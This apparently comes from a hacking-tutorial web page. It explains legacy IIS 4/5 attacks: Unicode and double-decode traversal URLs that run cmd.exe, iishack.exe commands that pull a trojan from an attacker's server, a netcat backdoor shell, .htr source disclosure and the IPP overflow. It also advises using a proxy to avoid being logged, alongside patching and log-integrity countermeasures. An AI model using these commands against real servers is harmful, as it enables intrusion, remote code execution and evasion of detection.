Free Ethical Hacking Tools Hacking Tricks Learn How To Hack Hacking Passwords & Email Hacking

Canonicalization

Canonicalization is the process by which various equivalent forms of a name can be resolved to a single, standard name - the so-called canonical name. For example, on a given machine, the names c:\dir\test.dat, test.dat, and ..\..\test.dat might all refer to the same file. Canonicalization is the process by which such names would be mapped to a name like c: \dir\test.dat.

• ASCII characters for the dots are replaced with hexadecimal equivalent (%2E).

• ASCII characters for the slashes are replaced with Unicode equivalent (%co%af).

• Unicode 2.0 allows multiple encoding possibilities for each characters.

• Unicode for"/": 2f, c0af, e080af, f08080af, f8808080af,.....

• Overlong Unicode are NOT malformed, but not allowed by a correct Unicode encoder and decoder.

• Maliciously used to bypass filters that only check short Unicode.

Unicode extensions are installed by default with Microsoft Internet Information Server (IIS) version 4.0 and 5.0. This is to allow characters that are not used in the English language to be recognized by web servers. Computers store letters and other characters by assigning a number to them.

Unicode provides a unique number for every character. Unicode forms a single character set across all languages. It is a standard 2-byte or 3-byte character set. The IIS Unicode Exploit allows users to run arbitrary commands on the web server. IIS servers with the Unicode extensions loaded are vulnerable unless they are running current patches.

This exploit can be used when:

1. A writeable or executable directory is available; allowing attackers to upload malicious code.

2. A system executable such as cmd.exe is available on the root and does not have an access control list applied to it.

The attack occurs when an attacker sends a malformed URL to a web server that looks something like this:

1. http://victim/scripts/..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:

If the target has a virtual executable directory (e.g. scripts) located on the same directory of Windows system, the directory of C: will be revealed. The question mark inserted after cmd.exe represents a command line argument.

For instance, appending a/c as in the above example, indicates that it carries out the command specified by the sub ceding string and then terminates. The "+" indicates the space between arguments. The variable /..%255c..%255c decodes to /.... which translates to a directory traversal.

This is equivalent to sending a hex value to the server. A common example is %20 which refers to a space. Using a direct hex interpretation of a directory traversal will be checked by IIS user access denied.

Still, the exploit occurs because the CGI routine within the web server decodes the address twice. First CGI filename will be decoded to check if it is an executable file (e.g. '.exe' or '.com') After the filename checkup , IIS will run another decode process. So an attacker will send various hex values of a required character till a suitable value is accepted.

Therefore '..' can be represented by '..%255c' , '..%%35c' etc. After first decoding, '..%255c' is turned into '..%5c' IIS will take it as legal character string that can pass security checkup. However, after a second decode process, it will be reverted to '..' and the attack succeeds.

2. http://www.somesite.com/../../../../../winnt/repair/sam.

In this case, the web server will just look for the file in the web root directory called "../../../../../winnt/repair/sam._". The '../' tells the web server to search one directory above, so here, the web server will look in the document root for a file called winnt/repair/sam. _. The no. of '../"s does not matter as long as there are enough of them to traverse back to the root of the file system (either c: or / on UNIX system)

The IIS Unicode exploit uses the HTTP protocol and malformed URLs to traverse directories and execute arbitrary commands on the vulnerable web servers. The IIS Unicode exploit uses a Unicode representation of a directory delimiter (/) to fool IIS. Because the exploit uses http, it works directly from the address bar of a browser. Because of the non-interactive nature of this exploit, interactive commands such as ftp & telnet do not work.

• IIS logs all the visits in log files. The log file is located at <%systemroot%>\logfiles

• Be careful. If you don't use proxy, then your IP will be logged.

• This command lists the log files:

http://victim.com/scripts/..%c0%af../.. %c 0%af../..%c0%af../..%c0%af../..%c0%af../. .%c0%af../..%c0%af../..%c0%af../winnt/sys tem32/cmd.exe?/c+dir+C:\Winnt\system32\Lo gfiles\W3SVC1 

The first rule is to configure the IIS logs to record every available field. Gathering information about Web visitors can help establish the source of an attack - either by linking it to a system or to a user. The more information that is collected, the better chance there is of pinning down the perpetrator.

The second rule is to capture events with a proper time stamp. This is because IIS records logs using UTC time. The accuracy of the UTC time can be ensured only if the local time zone setting is correct.

The third rule is to ensure continuity in the logs. IIS logs do not register a log entry if the server does not get any hits in a 24-hour period. This makes the presence of an empty log file ambiguous as there is no way of telling if the server received no hits, was offline or if the log file was actually deleted. The simplest workaround would be to use the Task Scheduler and schedule hits. In general, scheduled requests can indicate that the logging mechanism is functioning properly. Therefore, if a log file is missing, it is probably because the file was intentionally deleted.

The fourth rule is to ensure that logs are not modified in any way after they have been originally recorded. Once a log file is created, it is important to prevent the file from being accessed and audit any authorized and unauthorized access. One way to achieve this is to move the IIS logs off the Web server. File signatures are helpful because if a single file is corrupted, it does not invalidate the rest of the logs. Also, when doing any log file analysis, the original files must be never worked with. After the log is closed, no one should have permissions to modify the file contents.

iishack.exe overflows a buffer used by IIS http daemon, allowing for arbitrary code to be executed.

c:\ iishack www.yourtarget.com 80 www.yourserver.com/thetrojan.exe

www.yourtarget.com is the IIS server you're hacking, 80 is the port its listening on, www.yourserver.com is some webserver with your trojan or custom script (your own, or another), and /thetrojan.exe is the path to that script.

"IIS Hack" is a buffer overflow vulnerability exposed by the way IIS handles requests with .HTR extensions. A hacker sends a long URL that ends with ".HTR". IIS interprets it as a file type of HTR and invokes the ISM.DLL to handle the request. Since ISM.DLL is vulnerable to a buffer overflow, a carefully crafted string can be executed in the security context of IIS, which is privileged. For example, it is relatively simple to include in the exploit code a sequence of commands that will open a TCP/IP connection, download an executable and then execute it. This way, any malicious code can be executed.

A sample exploit can be constructed as shown below:

To hack the target site and attacker's system running a web server can use iishack.exe and ncx.exe.

To begin with, the ncx.exe is configured to run from the root directory. IIShack.exe is then run against the victim site.

     c:\>iishack.exe  80 /ncx.exe 

The attacker can then use netcat to evoke the command shell

     c:\>nc  80 

He can proceed to upload and execute any code of his choice and maintain a backdoor on the target site.

• Install latest service pack from Microsoft.

• Remove IPP printing from IIS Server

• Install firewall and remove unused extensions

• Implement aggressive network egress filtering

• Use IISLockdown and URLScan utilities

• Regularly scan your network for vulnerable servers

Without any further explanation, the first countermeasure is obviously to install the latest service packs and hotfixes.

As with many IIS vulnerabilities, the IPP exploit takes advantage of a bug in an ISAPI DLL that ships with IIS 5 and is configured by default to handle requests for certain file types. This particular ISAPI filter resides in C: \WINNT\System32\msw3prt.dll and provides Windows 2000 with support for the IPP. If this functionality is not required on the Web server, the application mapping for this DLL to .printer files can be removed (and optionally deleting the DLL itself) in order to prevent the buffer overflow from being exploited. This is possible because the DLL will not be loaded into the IIS process when it starts up. In fact, most security issues are centered on the ISAPI DLL mappings, making this one of the most important countermeasure to be adopted when securing IIS.

Another standard countermeasure that can be adopted here is to use a firewall and remove any extensions that are not required. Implementing aggressive network egress can help to a certain degree.

With IIS, using IISLockdown and URLScan - (free utilities from Microsoft) can ensure more protection and minimize damage in case the web server is affected.

Microsoft has also released a patch for the buffer overflow, but removing the ISAPI DLL is a more proactive solution in case there are additional vulnerabilities that are yet to be found with the code.

• Microsoft IIS 4.0 and 5.0 can be made to disclose fragments of source code which should otherwise be in accessible.

• This is done by appending "+.htr" to a request for a known .asp (or .asa, .ini, etc) file.

• appending this string causes the request to be handled by ISM.DLL, which then strips the '+.htr' string and may disclose part or all of the source of the .asp file specified in the request.

IIS supports several file types that require server-side processing. When a web site visitor requests a file of one of these types, an appropriate filter DLL processes it. Vulnerability exists in ISM.DLL, the filter DLL that processes .HTR files. HTR files enable remote administration of user passwords.

HTR files are scripts that allow Windows NT password services to be provided via IIS web servers. Windows NT users can use .HTR scripts to change their own passwords, and administrators can use them to perform a wide array of password administration functions. HTR is a first-generation advanced scripting technology that is included in IIS 3.0, and still supported by later versions of IIS for backwards compatibility. However, HTR was never widely adopted, and was superceded by Active Server Pages (ASP) technology introduced in IIS 4.0.

ISM.DLL is then passed the name of the file to open and execute but before doing this ISM.DLL truncates the buffer sent to it chopping off the .htr and a few spaces and ends up opening the file whose source is sought. The contents are then returned. This attack can only be launched once though, unless the web service started and stopped. It will only work when ISM.DLL first loaded into memory.

"Undelimited .HTR Request" vulnerability: The first vulnerability is a denial of service vulnerability. All .HTR files accept certain parameters that are expected to be delimited in a particular way. This vulnerability exists because the search routine for the delimiter isn't properly bounded. Thus, if a malicious user provided a request without the expected delimiter, the ISAPI filter that processes it would search forever for the delimiter and never find it.

If a malicious user submitted a password change request that lacked an expected delimiter, ISM.DLL, the ISAPI extension that processes .HTR files, would search endlessly for it. This would prevent the server from servicing any more password change requests. In addition, the search would consume CPU time, so the overall response of the server might be slowed.

The second threat would be more difficult to exploit. A carefully-constructed file request could cause arbitrary code to execute on the server via a classic buffer overrun technique. Neither scenario could occur accidentally. This vulnerability does not involve the functionality of the password administration features of .HTR files.

".HTR File Fragment Reading" vulnerability: The ".HTR File Fragment Reading" vulnerability could allow fragments of certain types of files to be read by providing a malformed request that would cause the. HTR processing to be applied to them. This vulnerability could allow a malicious user to read certain types of files under some very restrictive circumstances by levying a bogus .HTR request. The ISAPI filter will attempt to interpret the requested file as an .HTR file, and this would have the effect of removing virtually everything but text from a selected file. That is, it would have the effect of stripping out the very information that is most likely to contain sensitive information in .asp and other server-side files.

The .htr vulnerability will allow data to be added, deleted or changed on the server, or allow any administrative control on the server to be usurped. Although .HTR files are used to allow web-based password administration, this vulnerability does not involve any weakness in password handling.

"Absent Directory Browser Argument" vulnerability: Among the default HTR scripts provided in IIS 3.0 (and preserved on upgrade to IIS 4.0 and IIS 5.0) were several that allowed web site administrators to view directories on the server. One of these scripts, if called without an expected argument, will enter an infinite loop that can consume all of the system's CPU availability, thereby preventing the server from responding to requests for service.

This exploit will run against an IIS 5 web server, create a text document on the remote server with instructions directing readers to a web page on eeye.com that has information on how to patch the system so that the web server is no longer vulnerable to this flaw.

Wanderley J. Abreu Jr. provided the memory leak 'iiswebexplt.pl' exploit.

This code requires perl and is run from the command line as "perl iiswebexpl.pl victim". Upon execution, the code outputs the results in text on the screen stating if the victim web server is vulnerable or not vulnerable.

Dark spyrit provided the 'jill.c' exploit.

The exploit code jill.c, is a 167-line program written in the C language, authored by a grey-hat hacker in New Zealand who uses the nickname Dark Spyrit. Although jill is written in UNIX C, compiling it on Windows 2000 is a snap with the Cygwin environment. Cygwin compiles UNIX code with an "abstraction layer" library—cygwin1.dll—that intercepts the native UNIX calls and translates them into Win32 equivalents. Therefore as long as the cygwin1.dll is in the working path from where the compiled executable is run, it would function on Win32 as it would under UNIX or Linux.

Using the compiled code against a default installation of IIS 5.0, an attacker merely needs to type in the name of a remote system and a port number, and gain complete control of the machine in a matter of seconds. It provides the remote attacker with a command shell with SYSTEM level access. Therefore the exploit grants full control over the system allowing the attacker to "own" the system.

Internet Printing Protocol

Windows 2000 introduced native support for the Internet Printing Protocol (IPP), an industry - standard protocol for submitting and controlling print jobs over HTTP. The protocol is implemented in Windows 2000 via an ISAPI extension that is installed by default as part of Windows 2000 but which can only be accessed via IIS 5.0.

The attacker could exploit the vulnerability against any server with which he could conduct a web session. No other services would need to be available, and only port 80 (HTTP) or 443 (HTTPS) would need to be open.

Windows 2000 Internet printing ISAPI extension contains msw3prt.dll, which handles user requests. Security vulnerability, discovered by Riley Hassell from eEye, in msw2prt.dll, does not correctly perform input validation checking allowing an attacker to overflow a buffer and run any program in the SYSTEM context.

Due to the unchecked buffer in msw3prt.dll, a maliciously crafted HTTP .print request containing approx 420 bytes in the 'Host:' field will allow the execution of arbitrary code. A remote command shell is trivial for the attacker to execute and destructive for the web site because it allows the attacker complete control over the web server. If a web server would stop responding in a buffer overflow condition and Windows 2000 detects an unresponsive web server it automatically performs a restart. Therefore, the administrator will be unaware of this attack. This however makes it easier for remote attacks to execute code against Windows 2000 IIS 5.0 web servers. If Web-based Printing has been configured with a group policy, attempts to disable or unmap the affected extension via Internet Services Manager will be overridden by the group policy settings.